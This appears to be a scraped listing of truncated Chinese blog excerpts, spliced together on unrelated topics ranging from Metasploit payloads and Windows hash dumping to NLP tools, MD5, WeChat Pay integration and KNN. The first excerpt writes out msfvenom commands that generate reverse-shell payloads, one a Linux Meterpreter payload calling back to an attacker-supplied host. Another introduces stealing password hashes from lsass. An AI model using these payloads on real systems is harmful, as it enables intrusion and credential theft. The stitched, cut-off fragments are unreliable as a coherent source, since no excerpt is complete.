Msfvenom是有效负载生成和编码的组合. 生成攻击载荷 Linux下反弹Meterpreter shell 1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell C反弹shell 1 msfvenom -p windows/shell_reverse_…

目录 第一部分 解决方案交付基础 第1章 什么是MSF,它适合你吗 2 1.1 MSF的历史和起源 2 1.2 为什么是“框架” 3 1.3 MSF有何不同 5 1.4 MSF第四版的要素 5 1.5 小结 6 第2章 了解解决方案的交付环境 7 2.1 评估环境带来的挑战 7 2.1.1 商业环境 8 2.1.2 企业文化 8 2.1.3 内部管理:来自程序与工作流程的挑战 9 2.1.4 来自人的挑战 9 2.1.5 来自技术的挑战 10 2.2 优化约束条件 10 2.2.1 成本 11…

在前一篇, “一切都是消息”--MSF(消息服务框架)入门简介, 我们介绍了MSF基于异步通信,支持请求-响应通信模式和发布-订阅通信模式,并且介绍了如何获取MSF.今天,我们来看看如何使用MSF来做一个请求-响应通信模式的例子. MSF封装了WCF,所以使用MSF不能像使用WCF那样直接在客户端添加服务引用,你需要手工编写客户端代理类,这样有一个好处就是代理类写的更简单,使用更灵活.我们可以看看网友写的这篇文章<不引用服务而使用WCF,手动编写客户端代理类>,看看直接使用WCF是如何手动编写…

我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系统中抓hash 0x01 前言 事先声明,本文还是暂时不考虑免杀的问题,有些杀软十分变态,针对lsass等关键部位的防护非常好,一有风吹草动立刻报警,绕过方法还有待测试......不过这并不耽误我整理一下小知识点(怒) 本文中提到的"杀软"只是特指  XX安全软件  这一款安全产品,仅反映…

一直想写个总结,不过实在太忙了,所以一直拖啊拖啊,拖到现在,不过也好,有了这段时间的沉淀,发现自己又有了小小的进步.哈哈...... 原想框架开发的相关开发步骤.文档.代码.功能.部署等都简单的讲过了,就此了结本系列文章,经过这段日子的深入学习,发现本系列文章讲的还是太肤浅了,很多东西都没有讲到,也没有说明白.所以过段时间空闲些了,会继续从理论上来讲解怎么去设计一个框架(也算是给自己定个目标,加加压力),有了前面的代码了解,再学习理论相信大家也更容易接受了. 小结 学习如逆水行舟,不进则退,当能…

Python自然语言处理工具小结 作者:白宁超 2016年11月21日21:45:26 目录 [Python NLP]干货!详述Python NLTK下如何使用stanford NLP工具包(1) [Python NLP]Python 自然语言处理工具小结(2) [Python NLP]Python NLTK 走进大秦帝国(3) [Python NLP]Python NLTK获取文本语料和词汇资源(4) [Python NLP]Python NLTK处理原始文本(5) 1 Python 的几个自…

上一篇文章整理了Base64算法的相关知识,严格来说,Base64只能算是一种编码方式而非加密算法,这一篇要说的MD5,其实也不算是加密算法,而是一种哈希算法,即将目标文本转化为固定长度,不可逆的字符串(消息摘要). 简单了解 MD5(Message Digest Algorithm 5),翻译过来是消息摘要算法第五版,按照惯例,我们推理可能也有MD2,MD3这样名字的历史版本.. 即使完全不了解这个算法的原理,我们也可以从命名中看出一些眉道,所谓摘要,就是一个简短的概括,像我写过的毕业论文,上…

iOS--->微信支付小结 说起支付,除了支付宝支付之外,微信支付也是我们三方支付中最重要的方式之一,承接上面总结的支付宝,接下来把微信支付也总结了一下 ***那么首先还是由公司去创建并申请使用微信支付所需的信息 1.接下来就是微信支付的集成步骤了,参考着开发文档来,非常简单的 下载SDK,项目中导入所需的文件WxPay文件夹中,注意其中的.a文件容易丢失 2.根据文档对其中支持的非arc进行设置 3.设置微信支付的URL types 4.接下来就是代码内部的事情了,做支付我们知道首先需要在ap…

一:编辑被键盘遮挡的问题 参考自:http://blog.csdn.net/windkisshao/article/details/21398521 1.自定方法 ,用于移动视图 -(void)moveInputBarWithKeyboardHeight:(float)_CGRectHeight withDuration:(NSTimeInterval)_NSTimeInterval; 2.注册监听 NSNotificationCenter *defaultCenter = [NSNotific…

K近邻法(k-nearst neighbors,KNN)是一种很基本的机器学习方法了,在我们平常的生活中也会不自主的应用.比如,我们判断一个人的人品,只需要观察他来往最密切的几个人的人品好坏就可以得出了.这里就运用了KNN的思想.KNN方法既可以做分类,也可以做回归,这点和决策树算法相同. KNN做回归和分类的主要区别在于最后做预测时候的决策方式不同.KNN做分类预测时,一般是选择多数表决法,即训练集里和预测的样本特征最近的K个样本,预测为里面有最多类别数的类别.而KNN做回归时,一般是选择平均…